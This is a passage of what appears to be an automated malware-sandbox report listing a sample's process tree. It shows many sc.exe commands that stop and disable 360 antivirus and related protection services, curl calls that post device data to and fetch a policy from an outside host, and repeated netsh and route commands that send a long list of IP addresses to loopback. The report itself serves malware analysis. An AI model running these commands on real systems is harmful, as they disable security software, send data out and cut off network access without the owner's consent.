      Suspicious use of AdjustPrivilegeToken
      PID:5252
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop ZhuDongFangYu
      4⤵
      Launches sc.exe
      PID:1904
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config ZhuDongFangYu start= disabled
      4⤵
      Launches sc.exe
      PID:836
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop Zhudongfangyu
      4⤵
      Launches sc.exe
      PID:2340
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config Zhudongfangyu start= disabled
      4⤵
      PID:968
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6008
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360rp
      4⤵
      Launches sc.exe
      PID:5092
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360rp start= disabled
      4⤵
      PID:2856
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:964
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop Q360AMPPL
      4⤵
      Launches sc.exe
      PID:5788
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config Q360AMPPL start= disabled
      4⤵
      Launches sc.exe
      PID:2248
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop dsmainsrv
      4⤵
      Launches sc.exe
      PID:1228
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config dsmainsrv start= disabled
      4⤵
      Launches sc.exe
      PID:4512
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop DsArk
      4⤵
      Launches sc.exe
      PID:4620
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config DsArk start= disabled
      4⤵
      Launches sc.exe
      PID:6016
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360FsFlt
      4⤵
      Launches sc.exe
      PID:1716
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4124
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360FsFlt start= disabled
      4⤵
      PID:5488
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360AvFlt
      4⤵
      PID:1660
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360AvFlt start= disabled
      4⤵
      Launches sc.exe
      PID:3096
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360Box64
      4⤵
      Launches sc.exe
      PID:3692
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360Box64 start= disabled
      4⤵
      Launches sc.exe
      PID:5128
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360AntiSteal
      4⤵
      Launches sc.exe
      PID:4140
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360AntiSteal start= disabled
      4⤵
      Launches sc.exe
      PID:248
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360AntiAttack
      4⤵
      Launches sc.exe
      PID:2880
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360AntiAttack start= disabled
      4⤵
      PID:264
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360AntiHacker
      4⤵
      Launches sc.exe
      PID:1672
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360AntiHacker start= disabled
      4⤵
      Launches sc.exe
      PID:1056
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360AntiHijack
      4⤵
      Launches sc.exe
      PID:240
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360AntiHijack start= disabled
      4⤵
      Launches sc.exe
      PID:2608
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360AntiExploit
      4⤵
      Launches sc.exe
      PID:608
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360AntiExploit start= disabled
      4⤵
      Launches sc.exe
      PID:1924
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360SelfProtection
      4⤵
      PID:836
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360SelfProtection start= disabled
      4⤵
      Launches sc.exe
      PID:1080
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360qpesv
      4⤵
      Launches sc.exe
      PID:3512
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360qpesv start= disabled
      4⤵
      Launches sc.exe
      PID:2780
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360Sensor
      4⤵
      Launches sc.exe
      PID:4644
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360Sensor start= disabled
      4⤵
      Launches sc.exe
      PID:1888
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360netmon
      4⤵
      Launches sc.exe
      PID:4552
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360netmon start= disabled
      4⤵
      PID:2768
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360Hvm
      4⤵
      Launches sc.exe
      PID:1228
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360Hvm start= disabled
      4⤵
      Launches sc.exe
      PID:2916
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360elam64
      4⤵
      PID:3480
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360elam64 start= disabled
      4⤵
      PID:4720
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360CactusNet
      4⤵
      PID:5228
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360CactusNet start= disabled
      4⤵
      Launches sc.exe
      PID:2584
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" stop 360Camera
      4⤵
      Launches sc.exe
      PID:6048
  - - C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" config 360Camera start= disabled
      4⤵
      PID:6132

C:\Program Files\YouthNetGuard\WpnPlatformHost.exe
"C:\Program Files\YouthNetGuard\WpnPlatformHost.exe" --base "C:\Program Files\YouthNetGuard" --um "C:\Program Files\YouthNetGuard"
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 15 --connect-timeout 10 -X POST -H "Content-Type: application/json" --data-binary "@C:\Users\Admin\AppData\Local\Temp\yng-admin-2404-240778015.json" "https://www.56789tl.com/api/device/register"
  2⤵
  PID:2568
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 25 --connect-timeout 10 "https://www.56789tl.com/api/policy?device_id=59000255b06248c0bacacfd113642d51&version=0&force=1"
  2⤵
  PID:564
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 set interface "Loopback Pseudo-Interface 1" weakhostsend=enabled weakhostreceive=enabled
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4196
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 101.36.223.81 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:908
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 101.36.223.81
  2⤵
  PID:3468
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 101.36.223.81 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3100
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.132.234.124 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4620
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.132.234.124
  2⤵
  PID:5552
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.132.234.124 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5328
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.146.79.138 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2088
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.146.79.138
  2⤵
  PID:5272
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.146.79.138 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5472
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.192.209.206 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2584
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.192.209.206
  2⤵
  PID:5608
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.192.209.206 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3376
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.192.209.215 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3268
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.192.209.215
  2⤵
  PID:2880
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.192.209.215 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:52
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.197.25.108 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:240
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.197.25.108
  2⤵
  PID:1216
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.197.25.108 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:548
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.205.241.247 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4092
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.205.241.247
  2⤵
  PID:1684
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.205.241.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2992
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.205.253.148 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3852
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.205.253.148
  2⤵
  PID:2608
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.205.253.148 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4416
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.217.192.15 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5804
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.217.192.15
  2⤵
  PID:3128
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.217.192.15 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:836
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.217.192.16 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:968
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.217.192.16
  2⤵
  PID:2736
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.217.192.16 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:964
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.36.165.58 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4644
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.36.165.58
  2⤵
  PID:3076
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.36.165.58 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4300
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.36.165.68 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4124
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.36.165.68
  2⤵
  PID:6044
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.36.165.68 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4244
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.10.73 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4512
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.10.73
  2⤵
  PID:4760
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.10.73 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3796
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.118.81 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3392
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.118.81
  2⤵
  PID:4280
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.118.81 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5924
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.15.245 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2496
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.15.245
  2⤵
  PID:1676
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.15.245 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1448
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.198.227 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:6064
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.198.227
  2⤵
  PID:1276
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.198.227 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4968
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.2.176 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2880
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.2.176
  2⤵
  PID:2632
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.2.176 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2316
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:240
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.22.38 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1216
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.22.38
  2⤵
  PID:4248
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.22.38 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5728
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.23.246 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1056
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.23.246
  2⤵
  PID:700
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.23.246 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1904
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.28.69 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5716
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.28.69
  2⤵
  PID:6008
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.28.69 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2924
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.32.43 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4932
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.32.43
  2⤵
  PID:4644
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.32.43 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3076
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.34.28 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4300
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.34.28
  2⤵
  PID:2028
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.34.28 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5796
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.38.108 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5744
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.38.108
  2⤵
  PID:6016
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.38.108 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5552
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.4.133 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4628
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.4.133
  2⤵
  PID:5088
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.4.133 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1996
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.42.238 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3004
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.42.238
  2⤵
  PID:2832
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1676
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.42.238 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5608
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.43.9 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3464
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.43.9
  2⤵
  PID:4624
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.43.9 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4824
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.47.14 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5732
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.47.14
  2⤵
  PID:4812
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.47.14 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:360
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.51.212 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3128
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.51.212
  2⤵
  PID:2836
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.51.212 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3732
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.53.194 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2744
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.53.194
  2⤵
  PID:4628
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.53.194 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4280
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.59.125 255.255.255.255
  2⤵
  PID:2656
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.59.125
  2⤵
  PID:6116
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.59.125 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5652
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.61.200 255.255.255.255
  2⤵
  PID:5048
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.61.200
  2⤵
  PID:3212
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.61.200 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5880
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.71.80 255.255.255.255
  2⤵
  PID:4456
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.71.80
  2⤵
  PID:1412
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.71.80 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3796
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.78.212 255.255.255.255
  2⤵
  PID:5360
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.78.212
  2⤵
  PID:5608
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.78.212 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:6064
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.24.244.5 255.255.255.255
  2⤵
  PID:1100
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.24.244.5
  2⤵
  PID:5252
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.24.244.5 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5728
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.24.33.36 255.255.255.255
  2⤵
  PID:3212
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.24.33.36
  2⤵
  PID:3024
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.24.33.36 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4296
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4512
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.25.152.66 255.255.255.255
  2⤵
  PID:5336
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.25.152.66
  2⤵
  PID:5588
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1448
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.25.152.66 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3464
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.25.153.110 255.255.255.255
  2⤵
  PID:4104
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.25.153.110
  2⤵
  PID:1648
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.25.153.110 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5972
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.25.18.105 255.255.255.255
  2⤵
  PID:5476
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.25.18.105
  2⤵
  PID:4932
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.25.18.105 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:904
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4644
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.26.13.144 255.255.255.255
  2⤵
  PID:908
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.26.13.144
  2⤵
  PID:5904
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.26.13.144 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1996
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.27.193.156 255.255.255.255
  2⤵
  PID:2780
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3004
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.27.193.156
  2⤵
  PID:5128
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.27.193.156 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3976
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.27.90.111 255.255.255.255
  2⤵
  PID:3652
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.27.90.111
  2⤵
  PID:1172
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.27.90.111 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3340
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 106.54.223.230 255.255.255.255
  2⤵
  PID:5028
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 106.54.223.230
  2⤵
  PID:1648
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 106.54.223.230 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1456
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 106.63.15.10 255.255.255.255
  2⤵
  PID:5972
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 106.63.15.10
  2⤵
  PID:3868
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 106.63.15.10 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5924
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 106.63.15.9 255.255.255.255
  2⤵
  PID:1836
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 106.63.15.9
  2⤵
  PID:1568
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 106.63.15.9 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2100
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 107.149.250.26 255.255.255.255
  2⤵
  PID:2856
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 107.149.250.26
  2⤵
  PID:4932
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 107.149.250.26 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4872
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 110.42.45.175 255.255.255.255
  2⤵
  PID:1840
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 110.42.45.175
  2⤵
  PID:4820
